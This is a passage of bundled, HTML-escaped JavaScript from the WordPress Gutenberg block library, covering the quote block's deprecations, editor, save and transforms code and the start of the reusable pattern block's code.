  var migrateTextAlign3 = (attributes2, innerBlocks) =&gt; {
    const { align, ...rest } = attributes2;
    const migratedAttributes = TEXT_ALIGN_OPTIONS2.includes(align) ? { ...rest, textAlign: align } : attributes2;
    return [migratedAttributes, innerBlocks];
  };
  var migrateLargeStyle = (attributes2, innerBlocks) =&gt; {
    return [
      {
        ...attributes2,
        className: attributes2.className ? attributes2.className + &quot; is-style-large&quot; : &quot;is-style-large&quot;
      },
      innerBlocks
    ];
  };
  var v410 = {
    attributes: {
      value: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;blockquote&quot;,
        multiline: &quot;p&quot;,
        default: &quot;&quot;,
        role: &quot;content&quot;
      },
      citation: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;cite&quot;,
        default: &quot;&quot;,
        role: &quot;content&quot;
      },
      align: {
        type: &quot;string&quot;
      }
    },
    supports: {
      anchor: true,
      html: false,
      __experimentalOnEnter: true,
      __experimentalOnMerge: true,
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true,
          fontAppearance: true
        }
      },
      color: {
        gradients: true,
        heading: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      }
    },
    isEligible: ({ align }) =&gt; TEXT_ALIGN_OPTIONS2.includes(align),
    save({ attributes: attributes2 }) {
      const { align, citation } = attributes2;
      const className = clsx_default({
        [`has-text-align-${align}`]: align
      });
      return /* @__PURE__ */ (0, import_jsx_runtime415.jsxs)(&quot;blockquote&quot;, { ...import_block_editor224.useBlockProps.save({ className }), children: [
        /* @__PURE__ */ (0, import_jsx_runtime415.jsx)(import_block_editor224.InnerBlocks.Content, {}),
        !import_block_editor224.RichText.isEmpty(citation) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime415.jsx)(import_block_editor224.RichText.Content, { tagName: &quot;cite&quot;, value: citation })
      ] });
    },
    migrate: migrateTextAlign3
  };
  var v311 = {
    attributes: {
      value: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;blockquote&quot;,
        multiline: &quot;p&quot;,
        default: &quot;&quot;,
        role: &quot;content&quot;
      },
      citation: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;cite&quot;,
        default: &quot;&quot;,
        role: &quot;content&quot;
      },
      align: {
        type: &quot;string&quot;
      }
    },
    supports: {
      anchor: true,
      __experimentalSlashInserter: true,
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalLetterSpacing: true,
        __experimentalTextTransform: true,
        __experimentalDefaultControls: {
          fontSize: true,
          fontAppearance: true
        }
      }
    },
    save({ attributes: attributes2 }) {
      const { align, value, citation } = attributes2;
      const className = clsx_default({
        [`has-text-align-${align}`]: align
      });
      return /* @__PURE__ */ (0, import_jsx_runtime415.jsxs)(&quot;blockquote&quot;, { ...import_block_editor224.useBlockProps.save({ className }), children: [
        /* @__PURE__ */ (0, import_jsx_runtime415.jsx)(import_block_editor224.RichText.Content, { multiline: true, value }),
        !import_block_editor224.RichText.isEmpty(citation) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime415.jsx)(import_block_editor224.RichText.Content, { tagName: &quot;cite&quot;, value: citation })
      ] });
    },
    migrate(attributes2) {
      return migrateTextAlign3(...migrateToQuoteV2(attributes2));
    }
  };
  var v216 = {
    attributes: {
      value: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;blockquote&quot;,
        multiline: &quot;p&quot;,
        default: &quot;&quot;
      },
      citation: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;cite&quot;,
        default: &quot;&quot;
      },
      align: {
        type: &quot;string&quot;
      }
    },
    migrate(attributes2) {
      return migrateTextAlign3(...migrateToQuoteV2(attributes2));
    },
    save({ attributes: attributes2 }) {
      const { align, value, citation } = attributes2;
      return /* @__PURE__ */ (0, import_jsx_runtime415.jsxs)(&quot;blockquote&quot;, { style: { textAlign: align ? align : null }, children: [
        /* @__PURE__ */ (0, import_jsx_runtime415.jsx)(import_block_editor224.RichText.Content, { multiline: true, value }),
        !import_block_editor224.RichText.isEmpty(citation) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime415.jsx)(import_block_editor224.RichText.Content, { tagName: &quot;cite&quot;, value: citation })
      ] });
    }
  };
  var v138 = {
    attributes: {
      value: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;blockquote&quot;,
        multiline: &quot;p&quot;,
        default: &quot;&quot;
      },
      citation: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;cite&quot;,
        default: &quot;&quot;
      },
      align: {
        type: &quot;string&quot;
      },
      style: {
        type: &quot;number&quot;,
        default: 1
      }
    },
    migrate(attributes2) {
      if (attributes2.style === 2) {
        const { style: style2, ...restAttributes } = attributes2;
        return migrateTextAlign3(
          ...migrateLargeStyle(...migrateToQuoteV2(restAttributes))
        );
      }
      return migrateTextAlign3(...migrateToQuoteV2(attributes2));
    },
    save({ attributes: attributes2 }) {
      const { align, value, citation, style: style2 } = attributes2;
      return /* @__PURE__ */ (0, import_jsx_runtime415.jsxs)(
        &quot;blockquote&quot;,
        {
          className: style2 === 2 ? &quot;is-large&quot; : &quot;&quot;,
          style: { textAlign: align ? align : null },
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime415.jsx)(import_block_editor224.RichText.Content, { multiline: true, value }),
            !import_block_editor224.RichText.isEmpty(citation) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime415.jsx)(import_block_editor224.RichText.Content, { tagName: &quot;cite&quot;, value: citation })
          ]
        }
      );
    }
  };
  var v03 = {
    attributes: {
      value: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;blockquote&quot;,
        multiline: &quot;p&quot;,
        default: &quot;&quot;
      },
      citation: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;footer&quot;,
        default: &quot;&quot;
      },
      align: {
        type: &quot;string&quot;
      },
      style: {
        type: &quot;number&quot;,
        default: 1
      }
    },
    migrate(attributes2) {
      if (!isNaN(parseInt(attributes2.style))) {
        const { style: style2, ...restAttributes } = attributes2;
        return migrateTextAlign3(...migrateToQuoteV2(restAttributes));
      }
      return migrateTextAlign3(...migrateToQuoteV2(attributes2));
    },
    save({ attributes: attributes2 }) {
      const { align, value, citation, style: style2 } = attributes2;
      return /* @__PURE__ */ (0, import_jsx_runtime415.jsxs)(
        &quot;blockquote&quot;,
        {
          className: `blocks-quote-style-${style2}`,
          style: { textAlign: align ? align : null },
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime415.jsx)(import_block_editor224.RichText.Content, { multiline: true, value }),
            !import_block_editor224.RichText.isEmpty(citation) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime415.jsx)(import_block_editor224.RichText.Content, { tagName: &quot;footer&quot;, value: citation })
          ]
        }
      );
    }
  };
  var deprecated_default43 = [v410, v311, v216, v138, v03];

  // packages/block-library/build-module/quote/edit.mjs
  var import_i18n214 = __toESM(require_i18n(), 1);
  var import_block_editor225 = __toESM(require_block_editor(), 1);
  var import_components141 = __toESM(require_components(), 1);
  var import_data127 = __toESM(require_data(), 1);
  var import_element113 = __toESM(require_element(), 1);
  var import_deprecated46 = __toESM(require_deprecated(), 1);
  var import_jsx_runtime416 = __toESM(require_jsx_runtime(), 1);
  var isWebPlatform2 = import_element113.Platform.OS === &quot;web&quot;;
  var TEMPLATE16 = [[&quot;core/paragraph&quot;, {}]];
  var useMigrateOnLoad2 = (attributes2, clientId) =&gt; {
    const registry = (0, import_data127.useRegistry)();
    const { updateBlockAttributes, replaceInnerBlocks } = (0, import_data127.useDispatch)(import_block_editor225.store);
    (0, import_element113.useEffect)(() =&gt; {
      if (!attributes2.value) {
        return;
      }
      const [newAttributes, newInnerBlocks] = migrateToQuoteV2(attributes2);
      (0, import_deprecated46.default)(&quot;Value attribute on the quote block&quot;, {
        since: &quot;6.0&quot;,
        version: &quot;6.5&quot;,
        alternative: &quot;inner blocks&quot;
      });
      registry.batch(() =&gt; {
        updateBlockAttributes(clientId, newAttributes);
        replaceInnerBlocks(clientId, newInnerBlocks);
      });
    }, [attributes2.value]);
  };
  function QuoteEdit({
    attributes: attributes2,
    setAttributes,
    insertBlocksAfter,
    clientId,
    className,
    style: style2,
    isSelected
  }) {
    const { textAlign, allowedBlocks } = attributes2;
    useMigrateOnLoad2(attributes2, clientId);
    const blockProps = (0, import_block_editor225.useBlockProps)({
      className: clsx_default(className, {
        [`has-text-align-${textAlign}`]: textAlign
      }),
      ...!isWebPlatform2 &amp;&amp; { style: style2 }
    });
    const innerBlocksProps = (0, import_block_editor225.useInnerBlocksProps)(blockProps, {
      template: TEMPLATE16,
      templateInsertUpdatesSelection: true,
      __experimentalCaptureToolbars: true,
      renderAppender: false,
      allowedBlocks
    });
    return /* @__PURE__ */ (0, import_jsx_runtime416.jsxs)(import_jsx_runtime416.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime416.jsx)(import_block_editor225.BlockControls, { group: &quot;block&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime416.jsx)(
        import_block_editor225.AlignmentControl,
        {
          value: textAlign,
          onChange: (nextAlign) =&gt; {
            setAttributes({ textAlign: nextAlign });
          }
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime416.jsxs)(import_components141.BlockQuotation, { ...innerBlocksProps, children: [
        innerBlocksProps.children,
        /* @__PURE__ */ (0, import_jsx_runtime416.jsx)(
          Caption,
          {
            attributeKey: &quot;citation&quot;,
            tagName: isWebPlatform2 ? &quot;cite&quot; : &quot;p&quot;,
            style: isWebPlatform2 &amp;&amp; { display: &quot;block&quot; },
            isSelected,
            attributes: attributes2,
            setAttributes,
            __unstableMobileNoFocusOnMount: true,
            icon: verse_default,
            label: (0, import_i18n214.__)(&quot;Quote citation&quot;),
            placeholder: (
              // translators: placeholder text used for the
              // citation
              (0, import_i18n214.__)(&quot;Add citation&quot;)
            ),
            addLabel: (0, import_i18n214.__)(&quot;Add citation&quot;),
            removeLabel: (0, import_i18n214.__)(&quot;Remove citation&quot;),
            excludeElementClassName: true,
            className: &quot;wp-block-quote__citation&quot;,
            insertBlocksAfter,
            ...!isWebPlatform2 ? { textAlign } : {}
          }
        )
      ] })
    ] });
  }

  // packages/block-library/build-module/quote/block.json
  var block_default91 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/quote&quot;,
    title: &quot;Quote&quot;,
    category: &quot;text&quot;,
    description: &#039;Give quoted text visual emphasis. &quot;In quoting others, we cite ourselves.&quot; \u2014 Julio Cort\xE1zar&#039;,
    keywords: [&quot;blockquote&quot;, &quot;cite&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      value: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;blockquote&quot;,
        multiline: &quot;p&quot;,
        default: &quot;&quot;,
        role: &quot;content&quot;
      },
      citation: {
        type: &quot;rich-text&quot;,
        source: &quot;rich-text&quot;,
        selector: &quot;cite&quot;,
        role: &quot;content&quot;
      },
      textAlign: {
        type: &quot;string&quot;
      }
    },
    supports: {
      anchor: true,
      align: [&quot;left&quot;, &quot;right&quot;, &quot;wide&quot;, &quot;full&quot;],
      html: false,
      background: {
        backgroundImage: true,
        backgroundSize: true,
        __experimentalDefaultControls: {
          backgroundImage: true
        }
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      dimensions: {
        minHeight: true,
        __experimentalDefaultControls: {
          minHeight: false
        }
      },
      __experimentalOnEnter: true,
      __experimentalOnMerge: true,
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      color: {
        gradients: true,
        heading: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      layout: {
        allowEditing: false
      },
      spacing: {
        blockGap: true,
        padding: true,
        margin: true
      },
      interactivity: {
        clientNavigation: true
      },
      allowedBlocks: true
    },
    styles: [
      {
        name: &quot;default&quot;,
        label: &quot;Default&quot;,
        isDefault: true
      },
      { name: &quot;plain&quot;, label: &quot;Plain&quot; }
    ],
    editorStyle: &quot;wp-block-quote-editor&quot;,
    style: &quot;wp-block-quote&quot;
  };

  // packages/block-library/build-module/quote/save.mjs
  var import_block_editor226 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime417 = __toESM(require_jsx_runtime(), 1);
  function save44({ attributes: attributes2 }) {
    const { textAlign, citation } = attributes2;
    const className = clsx_default({
      [`has-text-align-${textAlign}`]: textAlign
    });
    return /* @__PURE__ */ (0, import_jsx_runtime417.jsxs)(&quot;blockquote&quot;, { ...import_block_editor226.useBlockProps.save({ className }), children: [
      /* @__PURE__ */ (0, import_jsx_runtime417.jsx)(import_block_editor226.InnerBlocks.Content, {}),
      !import_block_editor226.RichText.isEmpty(citation) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime417.jsx)(import_block_editor226.RichText.Content, { tagName: &quot;cite&quot;, value: citation })
    ] });
  }

  // packages/block-library/build-module/quote/transforms.mjs
  var import_block_editor227 = __toESM(require_block_editor(), 1);
  var import_blocks99 = __toESM(require_blocks(), 1);
  var transforms28 = {
    from: [
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/verse&quot;],
        transform: ({ content }) =&gt; {
          return (0, import_blocks99.createBlock)(&quot;core/quote&quot;, {}, [
            (0, import_blocks99.createBlock)(&quot;core/paragraph&quot;, { content })
          ]);
        }
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/pullquote&quot;],
        transform: ({
          value,
          align,
          citation,
          anchor,
          fontSize,
          style: style2
        }) =&gt; {
          return (0, import_blocks99.createBlock)(
            &quot;core/quote&quot;,
            {
              align,
              citation,
              anchor,
              fontSize,
              style: style2
            },
            [(0, import_blocks99.createBlock)(&quot;core/paragraph&quot;, { content: value })]
          );
        }
      },
      {
        type: &quot;prefix&quot;,
        prefix: &quot;&gt;&quot;,
        transform: (content) =&gt; (0, import_blocks99.createBlock)(&quot;core/quote&quot;, {}, [
          (0, import_blocks99.createBlock)(&quot;core/paragraph&quot;, { content })
        ])
      },
      {
        type: &quot;raw&quot;,
        schema: () =&gt; ({
          blockquote: {
            children: &quot;*&quot;
          }
        }),
        selector: &quot;blockquote&quot;,
        transform: (node, handler) =&gt; {
          return (0, import_blocks99.createBlock)(
            &quot;core/quote&quot;,
            // Don&#039;t try to parse any `cite` out of this content.
            // * There may be more than one cite.
            // * There may be more attribution text than just the cite.
            // * If the cite is nested in the quoted text, it&#039;s wrong to
            //   remove it.
            {},
            handler({
              HTML: node.innerHTML,
              mode: &quot;BLOCKS&quot;
            })
          );
        }
      },
      {
        type: &quot;block&quot;,
        isMultiBlock: true,
        blocks: [&quot;*&quot;],
        isMatch: ({}, blocks) =&gt; {
          if (blocks.length === 1) {
            return [
              &quot;core/paragraph&quot;,
              &quot;core/heading&quot;,
              &quot;core/list&quot;,
              &quot;core/pullquote&quot;
            ].includes(blocks[0].name);
          }
          return !blocks.some(({ name: name123 }) =&gt; name123 === &quot;core/quote&quot;);
        },
        __experimentalConvert: (blocks) =&gt; (0, import_blocks99.createBlock)(
          &quot;core/quote&quot;,
          {},
          blocks.map(
            (block) =&gt; (0, import_blocks99.createBlock)(
              block.name,
              block.attributes,
              block.innerBlocks
            )
          )
        )
      }
    ],
    to: [
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/pullquote&quot;],
        isMatch: ({}, block) =&gt; {
          return block.innerBlocks.every(
            ({ name: name123 }) =&gt; name123 === &quot;core/paragraph&quot;
          );
        },
        transform: ({ align, citation, anchor, fontSize, style: style2 }, innerBlocks) =&gt; {
          const value = innerBlocks.map(({ attributes: attributes2 }) =&gt; `${attributes2.content}`).join(&quot;&lt;br&gt;&quot;);
          return (0, import_blocks99.createBlock)(&quot;core/pullquote&quot;, {
            value,
            align,
            citation,
            anchor,
            fontSize,
            style: style2
          });
        }
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/verse&quot;],
        isMatch: ({}, block) =&gt; {
          return block.innerBlocks.every((innerBlock) =&gt; {
            if (innerBlock.name === &quot;core/paragraph&quot;) {
              return true;
            }
            const converted = (0, import_blocks99.switchToBlockType)(
              innerBlock,
              &quot;core/paragraph&quot;
            );
            return converted !== null;
          });
        },
        transform: ({}, innerBlocks) =&gt; {
          const paragraphs = innerBlocks.flatMap((innerBlock) =&gt; {
            if (innerBlock.name === &quot;core/paragraph&quot;) {
              return innerBlock;
            }
            return (0, import_blocks99.switchToBlockType)(innerBlock, &quot;core/paragraph&quot;) || [];
          });
          const content = paragraphs.map(({ attributes: attributes2 }) =&gt; attributes2.content || &quot;&quot;).filter(Boolean).join(&quot;&lt;br&gt;&quot;);
          return (0, import_blocks99.createBlock)(&quot;core/verse&quot;, { content });
        }
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/paragraph&quot;],
        isMatch: ({ citation }, block) =&gt; {
          const innerBlocks = block.innerBlocks;
          if (!innerBlocks.length) {
            return !import_block_editor227.RichText.isEmpty(citation);
          }
          return innerBlocks.every((innerBlock) =&gt; {
            if (innerBlock.name === &quot;core/paragraph&quot;) {
              return true;
            }
            const converted = (0, import_blocks99.switchToBlockType)(
              innerBlock,
              &quot;core/paragraph&quot;
            );
            return converted !== null;
          });
        },
        transform: ({ citation }, innerBlocks) =&gt; {
          const paragraphs = innerBlocks.flatMap((innerBlock) =&gt; {
            if (innerBlock.name === &quot;core/paragraph&quot;) {
              return innerBlock;
            }
            return (0, import_blocks99.switchToBlockType)(innerBlock, &quot;core/paragraph&quot;) || [];
          });
          return import_block_editor227.RichText.isEmpty(citation) ? paragraphs : [
            ...paragraphs,
            (0, import_blocks99.createBlock)(&quot;core/paragraph&quot;, {
              content: citation
            })
          ];
        }
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/group&quot;],
        transform: ({ citation, anchor }, innerBlocks) =&gt; (0, import_blocks99.createBlock)(
          &quot;core/group&quot;,
          { anchor },
          import_block_editor227.RichText.isEmpty(citation) ? innerBlocks : [
            ...innerBlocks,
            (0, import_blocks99.createBlock)(&quot;core/paragraph&quot;, {
              content: citation
            })
          ]
        )
      }
    ],
    ungroup: ({ citation }, innerBlocks) =&gt; import_block_editor227.RichText.isEmpty(citation) ? innerBlocks : [
      ...innerBlocks,
      (0, import_blocks99.createBlock)(&quot;core/paragraph&quot;, {
        content: citation
      })
    ]
  };
  var transforms_default29 = transforms28;

  // packages/block-library/build-module/quote/index.mjs
  var { name: name92 } = block_default91;
  var settings91 = {
    icon: quote_default,
    example: {
      attributes: {
        citation: (0, import_i18n215.__)(&quot;Julio Cort\xE1zar&quot;)
      },
      innerBlocks: [
        {
          name: &quot;core/paragraph&quot;,
          attributes: {
            content: (0, import_i18n215.__)(&quot;In quoting others, we cite ourselves.&quot;)
          }
        }
      ]
    },
    transforms: transforms_default29,
    edit: QuoteEdit,
    save: save44,
    deprecated: deprecated_default43
  };
  var init91 = () =&gt; initBlock({ name: name92, metadata: block_default91, settings: settings91 });

  // packages/block-library/build-module/block/index.mjs
  var block_exports = {};
  __export(block_exports, {
    init: () =&gt; init92,
    metadata: () =&gt; block_default92,
    name: () =&gt; name93,
    settings: () =&gt; settings92
  });
  var import_core_data78 = __toESM(require_core_data(), 1);
  var import_data129 = __toESM(require_data(), 1);
  var import_html_entities12 = __toESM(require_html_entities(), 1);

  // packages/block-library/build-module/block/block.json
  var block_default92 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/block&quot;,
    title: &quot;Pattern&quot;,
    category: &quot;reusable&quot;,
    description: &quot;Reuse this design across your site.&quot;,
    keywords: [&quot;reusable&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      ref: {
        type: &quot;number&quot;
      },
      content: {
        type: &quot;object&quot;,
        default: {}
      }
    },
    providesContext: {
      &quot;pattern/overrides&quot;: &quot;content&quot;
    },
    supports: {
      customClassName: false,
      html: false,
      inserter: false,
      renaming: false,
      interactivity: {
        clientNavigation: true
      },
      customCSS: false
    }
  };

  // packages/block-library/build-module/block/edit.mjs
  var import_data128 = __toESM(require_data(), 1);
  var import_element114 = __toESM(require_element(), 1);
  var import_core_data77 = __toESM(require_core_data(), 1);
  var import_components142 = __toESM(require_components(), 1);
  var import_i18n216 = __toESM(require_i18n(), 1);
  var import_block_editor228 = __toESM(require_block_editor(), 1);
  var import_patterns = __toESM(require_patterns(), 1);
  var import_blocks100 = __toESM(require_blocks(), 1);
  var import_jsx_runtime418 = __toESM(require_jsx_runtime(), 1);
  var { useLayoutClasses } = unlock(import_block_editor228.privateApis);
  var { isOverridableBlock } = unlock(import_patterns.privateApis);
  var fullAlignments = [&quot;full&quot;, &quot;wide&quot;, &quot;left&quot;, &quot;right&quot;];
  var useInferredLayout = (blocks, parentLayout) =&gt; {
    const initialInferredAlignmentRef = (0, import_element114.useRef)();
    return (0, import_element114.useMemo)(() =&gt; {
      if (!blocks?.length) {
        return {};
      }
      let alignment = initialInferredAlignmentRef.current;
      if (alignment === void 0) {
        const isConstrained = parentLayout?.type === &quot;constrained&quot;;
        const hasFullAlignment = blocks.some(
          (block) =&gt; fullAlignments.includes(block.attributes.align)
        );
        alignment = isConstrained &amp;&amp; hasFullAlignment ? &quot;full&quot; : null;
        initialInferredAlignmentRef.current = alignment;
      }
      const layout = alignment ? parentLayout : void 0;
      return { alignment, layout };
    }, [blocks, parentLayout]);
  };
  function RecursionWarning() {
    const blockProps = (0, import_block_editor228.useBlockProps)();
    return /* @__PURE__ */ (0, import_jsx_runtime418.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime418.jsx)(import_block_editor228.Warning, { children: (0, import_i18n216.__)(&quot;Block cannot be rendered inside itself.&quot;) }) });
  }
  var NOOP2 = () =&gt; {
  };
  function ReusableBlockEditRecursionWrapper(props) {
    const { ref } = props.attributes;
    const hasAlreadyRendered = (0, import_block_editor228.useHasRecursion)(ref);
    if (hasAlreadyRendered) {
      return /* @__PURE__ */ (0, import_jsx_runtime418.jsx)(RecursionWarning, {});
    }
    return /* @__PURE__ */ (0, import_jsx_runtime418.jsx)(import_block_editor228.RecursionProvider, { uniqueId: ref, children: /* @__PURE__ */ (0, import_jsx_runtime418.jsx)(ReusableBlockEdit, { ...props }) });
  }
  function ReusableBlockControl({
    recordId,
    canOverrideBlocks,
    hasContent,
    handleEditOriginal,
    resetContent
  }) {
    const canUserEdit = (0, import_data128.useSelect)(
      (select9) =&gt; !!select9(import_core_data77.store).canUser(&quot;update&quot;, {
        kind: &quot;postType&quot;,
        name: &quot;wp_block&quot;,
        id: recordId
      }),
      [recordId]
    );
    return /* @__PURE__ */ (0, import_jsx_runtime418.jsxs)(import_jsx_runtime418.Fragment, { children: [
      canUserEdit &amp;&amp; !!handleEditOriginal &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime418.jsx)(import_block_editor228.BlockControls, { group: &quot;other&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime418.jsx)(import_components142.ToolbarGroup, { children: /* @__PURE__ */ (0, import_jsx_runtime418.jsx)(import_components142.ToolbarButton, { onClick: handleEditOriginal, children: (0, import_i18n216.__)(&quot;Edit original&quot;) }) }) }),
      canOverrideBlocks &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime418.jsx)(import_block_editor228.BlockControls, { group: &quot;other&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime418.jsx)(import_components142.ToolbarGroup, { children: /* @__PURE__ */ (0, import_jsx_runtime418.jsx)(
        import_components142.ToolbarButton,
        {
          onClick: resetContent,
          disabled: !hasContent,
          children: (0, import_i18n216.__)(&quot;Reset&quot;)
        }
      ) }) })
    ] });
  }
  var EMPTY_OBJECT2 = {};
  function ReusableBlockEdit({
    name: name123,
    attributes: { ref, content },
    __unstableParentLayout: parentLayout,
    setAttributes
  }) {
    const { record, hasResolved } = (0, import_core_data77.useEntityRecord)(
      &quot;postType&quot;,
      &quot;wp_block&quot;,
      ref
    );
    const [blocks] = (0, import_core_data77.useEntityBlockEditor)(&quot;postType&quot;, &quot;wp_block&quot;, {
      id: ref
    });
    const isMissing = hasResolved &amp;&amp; !record;
    const { __unstableMarkLastChangeAsPersistent } = (0, import_data128.useDispatch)(import_block_editor228.store);
    const {
      onNavigateToEntityRecord,
      hasPatternOverridesSource,
      supportedBlockTypesRaw
    } = (0, import_data128.useSelect)((select9) =&gt; {
      const { getSettings: getSettings2 } = select9(import_block_editor228.store);
      return {
        onNavigateToEntityRecord: getSettings2().onNavigateToEntityRecord,
        hasPatternOverridesSource: !!(0, import_blocks100.getBlockBindingsSource)(
          &quot;core/pattern-overrides&quot;
        ),
        supportedBlockTypesRaw: getSettings2().__experimentalBlockBindingsSupportedAttributes || EMPTY_OBJECT2
      };
    }, []);
    const canOverrideBlocks = (0, import_element114.useMemo)(() =&gt; {
      const supportedBlockTypes = Object.keys(supportedBlockTypesRaw);
      const hasOverridableBlocks = (_blocks) =&gt; _blocks.some((block) =&gt; {
        if (supportedBlockTypes.includes(block.name) &amp;&amp; isOverridableBlock(block)) {
          return true;
        }
        return hasOverridableBlocks(block.innerBlocks);
      });
      return hasPatternOverridesSource &amp;&amp; hasOverridableBlocks(blocks);
    }, [hasPatternOverridesSource, blocks, supportedBlockTypesRaw]);
    const { alignment, layout } = useInferredLayout(blocks, parentLayout);
    const layoutClasses = useLayoutClasses({ layout }, name123);
    const blockProps = (0, import_block_editor228.useBlockProps)({
      className: clsx_default(
        &quot;block-library-block__reusable-block-container&quot;,
        layout &amp;&amp; layoutClasses,
        { [`align${alignment}`]: alignment }
      )
    });
    const innerBlocksProps = (0, import_block_editor228.useInnerBlocksProps)(blockProps, {
      layout,
      value: blocks,
      onInput: NOOP2,
      onChange: NOOP2,
      renderAppender: blocks?.length ? void 0 : import_block_editor228.InnerBlocks.ButtonBlockAppender
    });
    const handleEditOriginal = () =&gt; {
      onNavigateToEntityRecord({
        postId: ref,
        postType: &quot;wp_block&quot;
      });
    };
    const resetContent = () =&gt; {
      if (content) {
        __unstableMarkLastChangeAsPersistent();
        setAttributes({ content: void 0 });
      }
    };
    let children = null;
    if (isMissing) {
      children = /* @__PURE__ */ (0, import_jsx_runtime418.jsx)(import_block_editor228.Warning, { children: (0, import_i18n216.__)(&quot;Block has been deleted or is unavailable.&quot;) });
    }
    if (!hasResolved) {
      children = /* @__PURE__ */ (0, import_jsx_runtime418.jsx)(import_components142.Placeholder, { children: /* @__PURE__ */ (0, import_jsx_runtime418.jsx)(import_components142.Spinner, {}) });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime418.jsxs)(import_jsx_runtime418.Fragment, { children: [
      hasResolved &amp;&amp; !isMissing &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime418.jsx)(
        ReusableBlockControl,
        {
          recordId: ref,
          canOverrideBlocks,
          hasContent: !!content,
          handleEditOriginal: onNavigateToEntityRecord ? handleEditOriginal : void 0,
          resetContent
        }
      ),
      children === null ? /* @__PURE__ */ (0, import_jsx_runtime418.jsx)(&quot;div&quot;, { ...innerBlocksProps }) : /* @__PURE__ */ (0, import_jsx_runtime418.jsx)(&quot;div&quot;, { ...blockProps, children })
    ] });
  }

  // packages/block-library/build-module/block/deprecated.mjs
  var isObject = (obj) =&gt; typeof obj === &quot;object&quot; &amp;&amp; !Array.isArray(obj) &amp;&amp; obj !== null;
  var v217 = {
    attributes: {
      ref: {
        type: &quot;number&quot;
      },
      content: {
        type: &quot;object&quot;
      }
    },
    supports: {
      customClassName: false,
      html: false,
      inserter: false,
      renaming: false
    },
    // Force this deprecation to run whenever there&#039;s a values sub-property that&#039;s an object.
    //
    // This could fail in the future if a block ever has binding to a `values` attribute.
    // Some extra protection is added to ensure `values` is an object, but this only reduces
    // the likelihood, it doesn&#039;t solve it completely.
    isEligible({ content }) {
      return !!content &amp;&amp; Object.keys(content).every(
        (contentKey) =&gt; content[contentKey].values &amp;&amp; isObject(content[contentKey].values)
      );
    },
    /*
     * Old attribute format:
     * content: {
     *     &quot;V98q_x&quot;: {
     * 	   		// The attribute values are now stored as a &#039;values&#039; sub-property.
     *         values: { content: &#039;My content value&#039; },
     * 	       // ... additional metadata, like the block name can be stored here.
     *     }
     * }
     *
     * New attribute format:
     * content: {
     *     &quot;V98q_x&quot;: {
     *         content: &#039;My content value&#039;,
     *     }
     * }
     */
    migrate(attributes2) {
      const { content, ...retainedAttributes } = attributes2;
      if (content &amp;&amp; Object.keys(content).length) {
        const updatedContent = { ...content };
        for (const contentKey in content) {
          updatedContent[contentKey] = content[contentKey].values;
        }
        return {
          ...retainedAttributes,
          content: updatedContent
        };
      }
      return attributes2;
    }
  };
  var v139 = {
    attributes: {
      ref: {
        type: &quot;number&quot;
      },
      overrides: {
        type: &quot;object&quot;
      }
    },
    supports: {
      customClassName: false,
      html: false,
      inserter: false,
      renaming: false
    },
    // Force this deprecation to run whenever there&#039;s an `overrides` object.
    isEligible({ overrides }) {
      return !!overrides;
    },
    /*
     * Old attribute format:
     * overrides: {
     *     // An key is an id that represents a block.
